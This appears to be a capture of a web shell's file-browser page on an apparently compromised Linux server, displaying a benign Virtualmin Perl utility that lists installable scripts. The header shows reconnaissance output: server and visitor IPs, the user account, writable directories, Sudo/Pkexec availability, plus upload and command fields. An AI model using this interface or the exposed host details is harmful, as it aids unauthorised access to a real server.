Private
Server IP : 195.201.23.43  /  Your IP : 3.141.40.192
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/virtual-server/list-available-scripts.pl
#!/usr/bin/perl

=head1 list-available-scripts.pl

List known scripts

This command simply outputs a list of scripts that can potentially installed
into Virtualmin servers. By default it displays a nicely formatted table, but
if the C<--multiline> option is given it will use a more parsable format
which shows more information. Or you can use C<--name-only> to show just script
names.

By default all scripts available are listed, but you can limit the output
to only those built into Virtualmin with the C<--source core> parameter. Or
show only those you have installed separately with C<--source custom>, or
those from plugins with C<--source plugin>.

=cut

package virtual_server;
if (!$module_name) {
	$main::no_acl_check++;
	$ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
	$ENV{'WEBMIN_VAR'} ||= "/var/webmin";
	if ($0 =~ /^(.*)\/[^\/]+$/) {
		chdir($pwd = $1);
		}
	else {
		chop($pwd = `pwd`);
		}
	$0 = "$pwd/list-available-scripts.pl";
	require './virtual-server-lib.pl';
	$< == 0 || die "list-available-scripts.pl must be run as root";
	}

# Parse command-line args
@types = ( );
while(@ARGV > 0) {
	local $a = shift(@ARGV);
	if ($a eq "--multiline") {
		$multi = 1;
		}
	elsif ($a eq "--name-only") {
		$nameonly = 1;
		}
	elsif ($a eq "--source") {
		$source = shift(@ARGV);
		}
	elsif ($a eq "--type") {
		push(@types, shift(@ARGV));
		}
	elsif ($a eq "--core-only") {
		$coreonly = 1;
		}
	elsif ($a eq "--available-only") {
		$availonly = 1;
		}
	elsif ($a eq "--help") {
		&usage();
		}
	else {
		&usage("Unknown parameter $a");
		}
	}

# Get and filter scripts
@types = &list_scripts($coreonly) if (!@types);
@scripts = map { &get_script($_, $coreonly) } @types;
if ($source) {
	@scripts = grep { $_->{'source'} eq $source } @scripts;
	}
if ($availonly) {
	@scripts = grep { $_->{'avail'} } @scripts;
	}

@scripts = grep { $_->{'enabled'} } @scripts;
@scripts = sort { lc($a->{'desc'}) cmp lc($b->{'desc'}) } @scripts;

if ($multi) {
	# Show each script on a separate line
	foreach $script (@scripts) {
		next if (&script_migrated_disallowed($script->{'migrated'}));
		print "$script->{'name'}\n";
		print "    Name: $script->{'desc'}\n";
		$cats = $script->{'categories'};
		if ($cats) {
			foreach my $c (@$cats) {
				print "    Category: $c\n";
				}
			}
		print "    Available: ",$script->{'avail'} ? "Yes" : "No","\n";
		print "    Versions: ",join(" ", @{$script->{'versions'}}),"\n";
		if ($script->{'release'}) {
			print "    Release: ",$script->{'release'},"\n";
			}
		print "    Available versions: ",
			join(" ", grep { &can_script_version($script, $_) }
				       @{$script->{'versions'}}),"\n";
		print "    Description: $script->{'longdesc'}\n";
		print "    Uses: ",join(" ", @{$script->{'uses'}}),"\n";
		if ($script->{'site'}) {
			print "    Website: @{[&script_link($script->{'site'}, undef, 2)]}\n";
			}
		if ($script->{'author'}) {
			print "    Installer author: $script->{'author'}\n";
			}
		print "    Source: $script->{'source'}\n";
		}
	}
elsif ($nameonly) {
	# Show just script names
	foreach $script (@scripts) {
		next if (&script_migrated_disallowed($script->{'migrated'}));
		print $script->{'name'},"\n";
		}
	}
else {
	# Show all on one line
	$fmt = "%-30.30s %-30.30s %-10.10s\n";
	printf $fmt, "Name", "Versions", "Available?";
	printf $fmt, ("-" x 30), ("-" x 30), ("-" x 10);
	foreach $script (@scripts) {
		next if (&script_migrated_disallowed($script->{'migrated'}));
		printf $fmt, $script->{'desc'},
			     join(" ", @{$script->{'versions'}}),
			     $script->{'avail'} ? "Yes" : "No";
		}
	}

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Lists the third-party scripts available for installation.\n";
print "\n";
print "virtualmin list-available-scripts [--multiline | --name-only]\n";
print "                                  [--source core|custom|plugin|latest]\n";
print "                                  [--type name]*\n";
print "                                  [--available-only]\n";
exit(1);
}

Private